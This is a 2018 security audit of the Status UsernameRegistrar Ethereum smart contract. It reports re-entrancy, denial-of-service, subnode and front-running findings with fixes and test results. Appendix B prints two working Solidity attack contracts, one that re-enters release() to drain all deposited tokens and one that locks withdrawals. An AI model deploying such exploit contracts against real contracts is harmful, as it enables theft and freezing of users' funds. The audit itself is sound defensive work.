STATUS

UsernameRegistrar Security Review

Version: 1.0

September, 2018

Contents

Introduction

Sigma Prime was engaged to perform a time-boxed security review of the smart contract `UsernameRegistrar`, which contributes to the functionality of the Ethereum Name Service (ENS) registry developed by *status*. The review focused solely on security aspects of the Solidity implementation of the contract, though general recommendations and informational comments are also provided.

Disclaimer

Sigma Prime makes all effort but holds no responsibility for the findings contained in this security review. Sigma Prime does not provide any guarantees relating to the function of the smart contract. Sigma Prime makes no judgements on, or provides any security review regarding, the underlying business model or the individuals involved in the project.

Document Structure

The first section of this document contains an overview of the functionality of the contract (`UsernameRegistry`) covered by the scope of the security review. A summary, followed by a detailed review of identified vulnerabilities, is then provided. Each vulnerability is assigned a severity rating (see Vulnerability Severity Classification), an open/closed status and a recommendation. Additionally, findings which do not have direct security implications (but are potentially of interest) are marked as "informational."

Outputs of automated testing developed and deployed during the assessment are also included for reference (in the Appendix: Test Suite). The appendix also provides additional documentation, including the severity matrix used to classify vulnerabilities in the `UsernameRegistry` contract.

Overview

The `UsernameRegistry` contract is designed to register and maintain a record of status usernames by leveraging the existing ENS [1] infrastructure. The contract serves multiple purposes, including the following:

- Enables users to register ownership of an Ethereum name that is a subdomain of the domain parameterised as `ensNode` by depositing an amount `price` of predesignated tokens.
- Allows the owner of a name to relinquish ownership and recall their deposit, after a specified `releaseDelay` period, thus returning the name to the marketplace.
- Communicates with an ENS registry, which maintains a record of usernames.
- Provides functionality to activate the registry or render it inactive.
- Allows the contract controller to withdraw non-deposit tokens (presumably sent to the contract by accident).
- Provides migration functionality that is deployed when the registry is transferred to a `_newRegistry`.
- Implements a set of slashing conditions such that users who violate the conditions may be penalized (and lose their deposited tokens) while individuals that identify offences are rewarded.
- Provides a suite of getter functions allowing users to access various information about the registry or a specific account (ex: obtain the address associated with a specific username).

Security Assessment Summary

This review was conducted on commit eaefa92, which contains the `UsernameRegistrar` contract, at

`contracts/registry/UsernameRegistrar.sol`.

The scope of this security assessment was solely the `UsernameRegistrar` contract; all other contracts were considered out of scope.

The testing team identified a total of nine (9) issues during this assessment, of which:

- Three (3) are classified as medium risks,
- One (1) is classified as low risk,
- Five (5) are classified as informational.

To support this review, the testing team used the following automated testing tools:

- Rattle: `https://github.com/trailofbits/rattle`
- Mythril: `https://github.com/ConsenSys/mythril`
- Slither: `https://github.com/trailofbits/slither`
- Surya: `https://github.com/ConsenSys/surya`
- Manticore: `https://github.com/trailofbits/manticore`

Output for these automated tools is available upon request.

Detailed Findings

This section provides a detailed description of the vulnerabilities identified within the `UsernameRegistry` smart contract. Each vulnerability has a severity classification which is determined by the likelihood and impact of each issue via the matrix given in the Appendix: Vulnerability Severity Classification.

A number of additional properties of the contracts are also described in this section and are labelled as "informational."

Summary of Findings

ID	Description	Severity	Status
STE-01	Re-entrancy Vulnerability Allows Controller To Steal All Tokens	Medium	Open
STE-02	Controller Can Indefinitely Lock Users' Tokens	Medium	Open
STE-03	Users Can Create Unslashable/Non-removeable Subnode Names	Medium	Open
STE-04	Slashing Process Vulnerable to Front-Running	Low	Open
STE-05	Contract Security Dependent on Deployment	Informational	Open
STE-06	Checks-Effects-Interactions Pattern Violated in `registerUser()`	Informational	Open
STE-07	Slashing Does Not Burn Tokens	Informational	Open
STE-08	Miscellanous Unexpected Behaviours and Other Suggestions	Informational	Open
STE-09	Miscellaneous Typos	Informational	Open

STE-01	Re-entrancy Vulnerability Allows Controller To Steal All Tokens		
Asset	UsernameRegistrar.sol		
Status	Open		
Rating	Severity: Medium	Impact: High	Likelihood: Low

Description

The `controller` of the `UsernameRegistrar` contract can withdraw all users' tokens from the contract by exploiting a re-entrancy vulnerability [2, 3]. Such an attack would require a malicious `controller` (or an attacker with access to the `controller` account) which is why the likelihood of this attack vector is classified as Low.

The vulnerability arises in the `release()` function on lines [142] to [153]. Consider the scenario that `100 token`'s have been deposited by users through the standard registration process. Let us also assume the contract has set a `price` of `10`, without loss of generality. A malicious `controller` could create an attacking contract of the form ReentrancyAttack (given in the appendix) and call the `moveRegistry()` function with this contract's address as the parameter. The attacking contract would implement a malicious version of `dropUsername(bytes32)` which can re-enter the `release` function a set number of times. This contract would need to be pre-loaded with `tokens` and would need to have registered a name in the `UsernameRegistrar` contract.

In our exploitation example, once the `moveRegistry()` function has been called, the `controller` would call the `stealAllTheTokens()` function on the attacking contract. This would re-enter the `release()` function `10` times (as each time it will withdraw `price = 10` tokens, thus withdrawing the full balance of `100 tokens` in the contract).

The attacking contract would execute the `call` on line [142] of `UsernameRegistrar.sol` which would re-enter `release()` 10 more times before completing. Once completed, lines [149] - [154] would be executed `10` times, withdrawing `100` tokens to the attacking contract.

See the test: `test_attack_controller_steal_all_deposits` that accompanies this report for a demonstration.

Recommendations

We recommend following the Checks-Effects-Interactions pattern [4] whereby external calls are placed after all state changes in the function. In this particular example, moving the external call on line [142] after the state changes to line [154] (with it's own `if` statement to check for `!RegistrarState.Active`) provides one solution.

STE-02	Controller Can Indefinitely Lock Users' Tokens		
Asset	UsernameRegistrar.sol		
Status	Open		
Rating	Severity: Medium	Impact: High	Likelihood: Low

Description

The `release()` function is affected by a denial of service (DoS) vulnerability, which allows the `controller` (or an attacker who owns the `controller` account) to permanently prevent users from withdrawing their deposited tokens.

This vulnerability relates to the way the external call on line [143] is executed. A malicious controller can create an attack contract, which implements a false assert (as shown in DOSAttack Contract) that consumes all the gas of the called transaction, causing the global transaction to fail. To execute this attack the `controller` would migrate the `UsernameRegistrar` contract to the malicious contract, preventing all users from withdrawing their tokens.

Note: In practice, gas allowance of the `CALL` opcode varies and is dependent on the total transaction gas allowance. For transactions with $>$ 3.5M gas, the residue gas after the call is sufficient to complete the `release()` function.

See the test: `test_attack_dos_all_users` that accompanies this report for a demonstration.

Recommendations

This type of vulnerability can be prevented by specifying a gas stipend to the external call, which prevents the external call from consuming the entire gas of the transaction. Such a solution will limit the functionality of `dropUsername(bytes32)` to the stipend gas specified in the call. An example of the correct syntax is:

```
!newOwner.call.gas(gasAmount)(
    abi.encodeWithSignature(
        "dropUsername(bytes32)",
        _label
    )
);
```

STE-03	Users Can Create Unslashable/Non-removeable Subnode Names		
Asset	UsernameRegistrar.sol		
Status	Open		
Rating	Severity: Medium	Impact: Medium	Likelihood: Medium

Description

Users can register any name (including unsavoury ones) as a sub-subnode of the `ENSNode`. These names are irrevocable and can be obtained for free, regardless of the `price` variable.

The vulnerability exists because there is no functionality in the `UsernameRegistrar` contract to revoke or deal with subnodes beyond the first level. As such, a malicious user could register a name such as "SigmaPrime," which is invalid because it includes capitals. Once registered, the user may call `setSubnodeOwner()` on the `ensRegistry` contract and create a subnode name of their choosing without restriction (for example, lets use "OwnedSubnode"). The user may then call `slashInvalidUsername()` in order to have their deposit returned, whilst maintaining ownership of the sub-subdomain. If, for example, `ENSNode` is set to `stateofus` (assumed to be a subnode of the Ethereum ENS registry), the malicious user would retain ownership of the name `OwnedSubnode.SigmaPrime.stateofus.eth`.

In this process, the user has obtained this domain for free and the name is irrevocable and unslashable. Although this vulnerability may not affect the front-end application dealing with usernames, it allows malicious users to create names derived from `stateofus.eth` which could potentially damage *status*' reputation.

See the test: `test_get_unslashable_subnode` that accompanies this report for a demonstration.

Recommendations

As ENS names are recursive (an arbitrary amount of sub-domains can be created), it would be possible to implement a sub-domain slashing function. This function would not be dissimilar to the functionality implemented in slashing reserved names using a merkle proof. A user could slash any subdomain by providing a list of labels which recursively hash to an owned namehash. The contract could then reset the owner and slash any funds in the originating sub-domain.

STE-04	Slashing Process Vulnerable to Front-Running		
Asset	UsernameRegistrar.sol		
Status	Open		
Rating	Severity: Low	Impact: Low	Likelihood: Medium

Description

Front-running attacks [5, 6] involve users watching the blockchain for particular transactions and, upon observing such a transaction, submitting their own transactions with a greater gas price. This incentivises miners to prioritise the later transaction.

`UsernameRegistrar.sol` is vulnerable to front-running. The contract contains the slashing functions `slashSmallUsername()`, `slashAddressLikeUsername()`, `slashReservedUsername()`, and `slashInvalidUsername()`. These functions may be called externally by an individual who notices that a given `_username` is not valid. For example, the external caller may notice that `_username` appears on the list of reserved usernames and call `slashReservedUsername()`. Each of the slashing functions calls the internal function `slashUsername()`, which slashes tokens from the account corresponding to `_username` and distributes them to the external caller who identified the violation. Thus, individuals are incentivised to report invalid usernames.

The slashing procedure is vulnerable to front-running. An individual may watch the blockchain for calls to the slashing functions and read the data submitted in a call. After verifying the validity of the data, an individual may submit a competing transaction with a higher gas price to claim the bounty for themselves.

This vulnerability may affect the game-theoretic incentives which prevent users from registering invalid usernames and can potentially affect the dynamics of username registration. The impact of this vulnerability is classified as low as it relates to the incentive structure of the system rather than the security of the contract.

Recommendations

There are a number of known techniques used to address front running vulnerabilities [5]. One method consists in placing an upper bound on the allowed gas price for functions vulnerable to front-running (in this case, the slashing functions). Note that this approach has the drawback of potentially restricting access to the slashing functions in periods of heavy network usage (i.e. when high gas prices are required to promptly execute transactions).

A commit-reveal scheme [7] can also be implemented to mitigate this vulnerability. An example would be for users to send a transaction which contains a hash of the username they want to slash, salted with a beneficiary address. In a second transaction, they would reveal the beneficiary address and the username to slash. The salted address is required to prevent front-running of the commit-and-reveal transactions themselves.

Finally, a more advanced technique known as Submarine Transactions [8] may be relevant. However, an efficient implementation requires the `CREATE2` opcode, not yet implemented in Ethereum.

STE-05	Contract Security Dependent on Deployment
Asset	UsernameRegistrar.sol
Status	Open
Rating	Informational

Description

As the contract currently stands, its security is heavily dependent on the contract deployment parameters. There are key parameters (such as `token` and `ensRegistry`) which if deployed maliciously can expose the `UsernameRegistrar` contract to a significant number of additional vulnerabilities in the contract.

A simplistic example of this, would be a malicious `ensRegistry` which could allow for various extra re-entrancies, or even more simply allow a malicious user to bypass the `require` on line [132] and withdraw other users' tokens.

These attack vectors were ignored in this report under the assumption that the contract will be deployed as intended. However, we raise this issue to highlight that the security and ongoing functionality of the contract are conditional on a non-malicious deployment.

Recommendations

Some of the deployment assumptions could be relaxed if fixed addresses and contracts were hard-coded. For example, if `ensRegistry` is intended to be the already-deployed ENS registry, the corresponding address could be hard-coded into the contract. A similar point holds for the `token` variable; for example, if `SNT` are to be used as the ERC20 token, the corresponding address could be hard-coded.

STE-06	Checks-Effects-Interactions Pattern Violated in `registerUser()`
Asset	UsernameRegistrar.sol
Status	Open
Rating	Informational

Description

The checks-effects-interaction pattern [4] is violated in the `registerUser()` function.

On line [566] a new `Account` is created and state is modified. The `controller` has the ability to modify the `resolver` address without restriction. Thus, it should be assumed that any `resolver` call can, in principle, be malicious. Therefore there are (potentially malicious) external calls on lines [587] and [590]. After these calls, on line [592] `ensRegistry.setOwner()` is called. Although no reentrancy attack vector was found here, we raise this as an informational point in case future code modifications inadvertently introduce re-entrancy vulnerabilities.

To highlight this issue, consider a malicious `resolver` contract which re-enters `UsernameRegistrar` by calling `slashSmallUsername()`. If, for example, the logic in `slashUsername()` on line [621] set the owner to `this` instead of zero (i.e the owner becomes the contract) then a `controller` could perform a re-entrancy leaving the contract in an unexpected state.

Specifically, the `controller` could register an invalid name, then on line [587] use the malicious `resolver` contract to re-enter calling `slashSmallUsername()`. As the `accounts[]` mapping has been modified already, it would then be deleted in the `slashUsername()` function. Once, `slashUsername()` has completed, line [592] would execute, setting the controller to be the owner of a name that is not registered in the contract.

Recommendations

For added safety, we recommend following the checks-effects-interactions pattern by moving all state modifications above potential external calls. In this particular example, potentially re-ordering the logic such that calls to resolver occur at the end of the function. However, we note this may not be possible or feasible, in which case a mutex may be an alternative solution (a boolean state variable that is set to `true` when setting the resolver and `false` after the changes, which is required to be `false` in other functions of the contract).

STE-07	Slashing Does Not Burn Tokens
Asset	UsernameRegistrar.sol
Status	Open
Rating	Informational

Description

The slashing conditions do not enforce any disincentive for creating and destroying invalid names. This issue is exemplified in combination with STE-04 and STE-03. Currently a user may create an invalid username, wait for someone to submit a transaction to slash this username, then front run that transaction. The slashing process returns the initial deposit, meaning the malicious user loses nothing in this process (except transaction fees). Similarly, by creating an invalid name then slashing it immediately, a user is able to generate a sub-subnode for free as explained in STE-03. It may be useful to implement a burning policy in the slashing conditions to prevent such behaviours. For example, when a name is slashed, 20% of the deposited tokens could be burned and 80% could be used to reward the slasher.

Recommendations

Consider implementing token burning during the slashing process.

STE-08	Miscellanous Unexpected Behaviours and Other Suggestions
Asset	UsernameRegistrar.sol
Status	Open
Rating	Informational

Description

This section raises some unexpected behaviours found during the course of this review. We also add some code-modification suggestions to match the behaviour we intuitively expected. These points are raised to ensure they are consistent with the authors' expectations.

- [21] - `releaseDelay` is fixed and unchangeable. Consider making this a `constant` to minimize gas and prevent accidental modification.
- [154] - This event emits `_label` which is inconsistent with other calls of this event and with the title given to the parameter in the event definition, which indicates that `namehash` should be used.
- [456] - The `getExpirationTime()` function will return `releaseDelay` for non-registered names. This result is non-intuitive and a not a valid "expiration time". To illustrate this point, please refer to the test `test_get_expiration_time_correct`.
- [271] and [321] - `activate()` and `moveRegistry()` drastically change the state of the contract yet there is no event to register this state change. Perhaps a `StateUpdated()` event could be used.
- [263] - `_newRegistry` can be manipulated by the `controller`, who could create a contract which collects migrated users' tokens. Consider adding a public variable which points to `ensRegistry.owner(ensNode)` so users can clearly see where their tokens will be sent.
- [311] - The `require` error message may be better suited to "Registry not active."
- [194] - The functionality of `slashAddressLikeUsername()` appeared to be very broad. For example, usernames such as `0xprotocolstatus` could be slashed.
- [182] and [195] - These lines use two different types (`string` and `bytes`) for input parameters. Consider making these consistent.

Recommendations

Ensure these are as expected.

STE-09	Miscellaneous Typos
Asset	UsernameRegistrar.sol
Status	Open
Rating	Informational

Description

This section notes various small and insignificant typo's found as a bi-product of the review. We include it in an attempt to improve the overall code readability.

- Minor typographical errors were noticed in comments on lines [45] (`callabe`), [178], [191] (`lenght`), [207] (`usernmae`), [527] (`callabe`), [583] (`ownship`), and [594] (`subdone`).
- The authors may wish to check that the state variable currently written as `usernameMinLenght` appears as intended.
- In its current form, the `enum` `RegistrarState` may take the value `Unactive`. Perhaps `Inactive` may be preferred.

Recommendations

Ensure these are as expected.

Appendix A Test Suite

A non-exhaustive list of tests were constructed to aid this security review and are given along with this document. The `pytest` framework was used to perform these tests and the output is given below.

```
tests/test_attack_dos.py::test_attack_dos_all_users PASSED                             [  1%]
tests/test_attack_reentrancy.py::test_attack_controller_steal_all_deposits PASSED      [  3%]
tests/test_deployment.py::test_deploy PASSED                                           [  4%]
tests/test_deployment.py::test_params_instantiated PASSED                              [  6%]
tests/test_deployment.py::test_activated PASSED                                        [  8%]
tests/test_deployment.py::test_expiration_time PASSED                                  [  9%]
tests/test_getters.py::test_get_price_uninitialised PASSED                             [ 11%]
tests/test_getters.py::test_get_price_updated PASSED                                   [ 13%]
tests/test_getters.py::test_get_price_returns_same PASSED                              [ 14%]
tests/test_getters.py::test_get_account_balance_incorrect PASSED                       [ 16%]
tests/test_getters.py::test_get_account_balance_correct_label PASSED                   [ 18%]
tests/test_getters.py::test_get_account_owner_incorrect PASSED                         [ 19%]
tests/test_getters.py::test_get_account_owner_correct_label PASSED                     [ 21%]
tests/test_getters.py::test_get_creation_time_incorrect PASSED                         [ 22%]
tests/test_getters.py::test_get_creation_time_correct PASSED                           [ 24%]
tests/test_getters.py::test_get_expiration_time_incorrect FAILED                       [ 26%]
tests/test_getters.py::test_get_expiration_time_correct PASSED                         [ 27%]
tests/test_migration.py::test_migration_transfer_ownership PASSED                      [ 29%]
tests/test_migration.py::test_user_migration_after_registrar_transfer PASSED           [ 31%]
tests/test_misc.py::test_withdraw_wrong_node PASSED                                    [ 32%]
tests/test_misc.py::test_receive_approval PASSED                                       [ 34%]
tests/test_price.py::test_update_price_wrong_owner[0-1000-True] PASSED                 [ 36%]
tests/test_price.py::test_update_price_wrong_owner[1-100-False0] PASSED                [ 37%]
tests/test_price.py::test_update_price_wrong_owner[2-2000-False] PASSED                [ 39%]
tests/test_price.py::test_update_price_wrong_owner[1-100-False1] PASSED                [ 40%]
tests/test_price.py::test_update_price_wrong_owner[4-10.2-False] PASSED                [ 42%]
tests/test_price.py::test_update_price_wrong_owner[0-100-True] PASSED                  [ 44%]
tests/test_price.py::test_update_price_wrong_owner[0-2000-True] PASSED                 [ 45%]
tests/test_price.py::test_update_price_wrong_owner[3-1000-False] PASSED                [ 47%]
tests/test_price.py::test_update_price_wrong_state PASSED                              [ 49%]
tests/test_register.py::test_register_double PASSED                                    [ 50%]
tests/test_register.py::test_register_two_people PASSED                                [ 52%]
tests/test_register.py::test_register_empty PASSED                                     [ 54%]
tests/test_register.py::test_register_sub_user_as_single PASSED                        [ 55%]
tests/test_register.py::test_no_early_release PASSED                                   [ 57%]
tests/test_register.py::test_no_other_release PASSED                                   [ 59%]
tests/test_register.py::test_release_allowed PASSED                                    [ 60%]
tests/test_register.py::test_no_double_release PASSED                                  [ 62%]
tests/test_slashing.py::test_slash_address_like_username_unowned PASSED                [ 63%]
tests/test_slashing.py::test_slash_address_like_username_usernameok PASSED             [ 65%]
tests/test_slashing.py::test_slash_address_like_username_startwith0 PASSED             [ 67%]
tests/test_slashing.py::test_slash_address_like_username_capitalX PASSED               [ 68%]
tests/test_slashing.py::test_slash_address_like_username_0xnotaddress PASSED           [ 70%]
tests/test_slashing.py::test_slash_address_like_username_isaddress PASSED              [ 72%]
tests/test_slashing.py::test_slash_invalid_username_notinvalid PASSED                  [ 73%]
tests/test_slashing.py::test_slash_invalid_username_invalid PASSED                     [ 75%]
tests/test_slashing.py::test_slash_reserved_username_empty_reserved PASSED             [ 77%]
tests/test_slashing.py::test_slash_reserved_username_empty_proof PASSED                [ 78%]
tests/test_slashing.py::test_slash_reserved_username_wrong_proof PASSED                [ 80%]
tests/test_slashing.py::test_slash_reserved_username_upper PASSED                      [ 81%]
tests/test_slashing.py::test_slash_reserved_username_reserved_correct PASSED           [ 83%]
tests/test_slashing.py::test_slash_small_username_notsmall PASSED                      [ 85%]
tests/test_slashing.py::test_slash_small_username_exact PASSED                         [ 86%]
tests/test_slashing.py::test_slash_small_username_small PASSED                         [ 88%]
tests/test_states.py::test_activate_correctowner PASSED                                [ 90%]
tests/test_unslashable_subnodes.py::test_get_unslashable_subnode PASSED                [ 91%]
tests/test_updates.py::test_update_registry_price_notcontroller PASSED                 [ 93%]
tests/test_updates.py::test_update_registry_price_not_active PASSED                    [ 95%]
tests/test_updates.py::test_update_registry_price_active PASSED                        [ 96%]
tests/test_withdrawbalance.py::test_withdraw_excess_snt_balance PASSED                 [ 98%]
tests/test_withdrawbalance.py::test_withdraw_excess_other_balance PASSED               [100%]

=================================== FAILURES ===================================
______________________ test_get_expiration_time_incorrect ______________________
```

Appendix B Example Attack Contracts

This section lists some example contracts that can be used to exploit various vulnerabilities outlined in this report.

Contract 1: An example attack contract that could be used in the STE-01 vulnerability. This contract is demonstrated in the tests that accompany this report.

```

pragma solidity ^0.4.24;

// Set up an interface to UsernameRegistry to avoid import and keep this
// contract self-contained

interface UsernameRegistrar {
  function release (bytes32) external;
  function register (bytes32, address, bytes32, bytes32) external returns (bytes32);
  function price() external returns (uint);
}

// Similarly the ERC20 Token we are stealing
interface ERC20Token {
  function transfer(address _to, uint _value) external returns (bool);
  function approve(address _spender, uint _value) external returns (bool);
  function balanceOf(address) external view returns (uint);
}

contract ReentrancyAttack {

  UsernameRegistrar public usernameRegistrar;
  ERC20Token public token;
  // set an owner so someone else can't also use this attack
  address public owner;
  address public beneficiary; // the address to get all the stolen tokens
  bytes32 public registeredName; //for convenience
  uint public timesToReenter;

  constructor(
    UsernameRegistrar _unr,
    ERC20Token _token,
    address _beneficiary) public
  {
    usernameRegistrar = _unr;
    token = _token;
    beneficiary = _beneficiary;
    owner = msg.sender;
  }

  // this could be called in the constructor, but it's easier to run separately
  // once tokens have been sent here.
  function registerName(bytes32 name) public {
    require(msg.sender == owner); // prevent others from attacking
    registeredName = name;
    // approve tokens for  UsernameRegistrar
    token.approve(usernameRegistrar, usernameRegistrar.price());
    // register the name
    usernameRegistrar.register(name, 0x0, 0x0, 0x0);
  }

   // Once the registrar has been set to "this", we can steal all the tokens
   function stealAllTheTokens() public {
     require(msg.sender == owner); // prevent others from attacking
     require(registeredName != 0x0);
     // calculate the total balance and divide by price to determine
     // number of required re-entrancys'
     uint contract_balance = token.balanceOf(usernameRegistrar);
     uint price = usernameRegistrar.price();

```

```
      // revert if price=0 (controller can set it anyway)
      timesToReenter = contract_balance/price -1;
      // Re-enter a number of times.
      usernameRegistrar.release(registeredName);

      // all rentrancy done. Withdraw all the money
      // get our current balance of stolen funds
      uint balance = token.balanceOf(this);
      // transfer all our stolen money to beneficiary
      token.transfer(beneficiary, balance);
    }

  function dropUsername(bytes32 _nothing) public {
    if (timesToReenter > 0) {
       timesToReenter -= 1;
       usernameRegistrar.release(registeredName);
     }
    _nothing; //suppress warning
  }

  function () public {
    //do nothing. Required for moveRegistry()
  }
}
```

Contract 2: An example attack contract that could be used in the STE-02 vulnerability.

```

contract DOSAttack {

  function dropUsername(bytes32 _nothing) public {
    assert(1==2);  // consume all gas
    _nothing; // supress warning
}

  function () public {
    //do nothing. Required for moveRegistry()
  }
}
```

Appendix C Vulnerability Severity Classification

This security review classifies vulnerabilities based on their potential impact and likelihood of occurance. The total severity of a vulnerability is derived from these two metrics based on the following matrix.

		Likelihood		
		Low	Medium	High
Impact	High	Medium	High	Critical
	Medium	Low	Medium	High
	Low	Low	Low	Medium

Table 1: Severity Matrix - How the severity of a vulnerability is given based on the *impact* and the *likelihood* of a vulnerability.

References

[1] ENS. Ethereum name service. Website, Available: https://ens.domains/. [Accessed 2018].

[2] Sigma Prime. Solidity security - reentrancy. Blog, 2018, Available: https://blog.sigmaprime.io/solidity-security.html#reentrancy. [Accessed 2018].

[3] Consensus. Known attacks - reentrancy. Website. [Accessed 2018].

[4] Solidity. Solidity - checks effects interactions. Read the docs, 2018, Available: https://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern. [Accessed 2018].

[5] Sigma Prime. Solidity security - front running. Blog, 2018, Available: https://blog.sigmaprime.io/solidity-security.html#race-conditions. [Accessed 2018].

[6] NCC Group. Dasp - front running. Website, 2018, Available: http://www.dasp.co/#item-7. [Accessed 2018].

[7] Karl Floersch. Learning solidity part 2: Commit-reveal voting, 2017, Available: https://karl.tech/learning-solidity-part-2-voting/.

[8] Ari Juels Lorenz Breidenbach, Phil Daian and Florian Tramèr. To Sink Frontrunners, Send in the Submarines. HackingDistributed.com, August 2017, Available: http://hackingdistributed.com/2017/08/28/submarine-sends/. Date Accessed, May 2018.